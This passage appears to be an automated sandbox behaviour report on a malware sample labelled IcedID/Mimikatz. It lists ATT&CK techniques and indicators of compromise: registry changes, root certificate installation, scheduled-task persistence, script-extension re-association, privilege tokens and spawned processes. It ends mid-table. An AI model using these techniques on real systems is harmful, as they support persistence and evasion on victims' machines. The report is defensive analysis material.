Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

net1.exeschtasks.exenet1.exesc.exesc.exenet.execmd.execmd.exesc.exenetsh.exenet.execmd.execmd.execmd.exenetsh.exenet1.exenetsh.execmd.exenetsh.exenet1.exenet.exenetsh.execmd.exedqljeo.execmd.exenet1.exenet1.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenetsh.execmd.exenet.execmd.exenetsh.exenetsh.exenetsh.exenet1.exenet1.exenihkvnz.execacls.execmd.exeschtasks.exenetsh.execmd.exenetsh.execmd.exenet1.execmd.execmd.exenetsh.exenetsh.exesc.exexohudmc.execmd.exenetsh.exerjfiekzcc.execmd.exe2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exenet1.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dqljeo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nihkvnz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rjfiekzcc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

cmd.exePING.EXE

pid	Process
2460	cmd.exe
2992	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
behavioral1/files/0x000900000001756e-5.dat	nsis_installer_2
behavioral1/files/0x0008000000018b50-16.dat	nsis_installer_1
behavioral1/files/0x0008000000018b50-16.dat	nsis_installer_2

Modifies data under HKEY_USERS 64 IoCs

Processes:

nihkvnz.exenetsh.exectjtihzei.exenetsh.exenetsh.exenetsh.exectjtihzei.exenetsh.exectjtihzei.exectjtihzei.exenetsh.exectjtihzei.exenetsh.exectjtihzei.exenetsh.exectjtihzei.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	ctjtihzei.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1F645C0-ADDC-470E-82A3-D6017383E5F8}	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	ctjtihzei.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	nihkvnz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	nihkvnz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	nihkvnz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctjtihzei.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1F645C0-ADDC-470E-82A3-D6017383E5F8}\WpadDecisionTime = 70bf0eeaf225db01	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctjtihzei.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctjtihzei.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f007f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f007f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	nihkvnz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctjtihzei.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	nihkvnz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1F645C0-ADDC-470E-82A3-D6017383E5F8}\WpadDecisionReason = "1"	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctjtihzei.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1F645C0-ADDC-470E-82A3-D6017383E5F8}\4a-b7-f4-6e-a0-dc	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	nihkvnz.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\4a-b7-f4-6e-a0-dc\WpadDetectedUrl	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	nihkvnz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	nihkvnz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctjtihzei.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C1F645C0-ADDC-470E-82A3-D6017383E5F8}\WpadDecisionTime = 1011a822f325db01	nihkvnz.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ctjtihzei.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ctjtihzei.exe

Modifies registry class 14 IoCs

Processes:

nihkvnz.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	nihkvnz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	nihkvnz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	nihkvnz.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

nihkvnz.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	nihkvnz.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	nihkvnz.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
2992	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
1536	schtasks.exe
1668	schtasks.exe
2808	schtasks.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

nihkvnz.exe

pid	Process
1956	nihkvnz.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

nihkvnz.exe

pid	Process
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe

Suspicious behavior: LoadsDriver 31 IoCs

Processes:

pid	Process
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460
460

Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe

pid	Process
2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exenihkvnz.exenihkvnz.exevfshost.exesvchost.exectjtihzei.exeaktvci.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exectjtihzei.exe

description	pid	Process
Token: SeDebugPrivilege	2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2820	nihkvnz.exe
Token: SeDebugPrivilege	3024	nihkvnz.exe
Token: SeDebugPrivilege	1968	vfshost.exe
Token: SeAuditPrivilege	2848	svchost.exe
Token: SeDebugPrivilege	2080	ctjtihzei.exe
Token: SeShutdownPrivilege	2080	ctjtihzei.exe
Token: SeLockMemoryPrivilege	1248	aktvci.exe
Token: SeLockMemoryPrivilege	1248	aktvci.exe
Token: SeDebugPrivilege	2400	ctjtihzei.exe
Token: SeShutdownPrivilege	2400	ctjtihzei.exe
Token: SeDebugPrivilege	1752	ctjtihzei.exe
Token: SeShutdownPrivilege	1752	ctjtihzei.exe
Token: SeDebugPrivilege	2984	ctjtihzei.exe
Token: SeShutdownPrivilege	2984	ctjtihzei.exe
Token: SeDebugPrivilege	2700	ctjtihzei.exe
Token: SeShutdownPrivilege	2700	ctjtihzei.exe
Token: SeDebugPrivilege	328	ctjtihzei.exe
Token: SeShutdownPrivilege	328	ctjtihzei.exe
Token: SeDebugPrivilege	2776	ctjtihzei.exe
Token: SeShutdownPrivilege	2776	ctjtihzei.exe
Token: SeDebugPrivilege	2228	ctjtihzei.exe
Token: SeShutdownPrivilege	2228	ctjtihzei.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exenihkvnz.exenihkvnz.exexohudmc.exedqljeo.exenihkvnz.exe

pid	Process
2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
2820	nihkvnz.exe
2820	nihkvnz.exe
3024	nihkvnz.exe
3024	nihkvnz.exe
2304	xohudmc.exe
2260	dqljeo.exe
1956	nihkvnz.exe
1956	nihkvnz.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.execmd.exenihkvnz.execmd.execmd.exewpcap.exe

description	pid	Process	procid_target
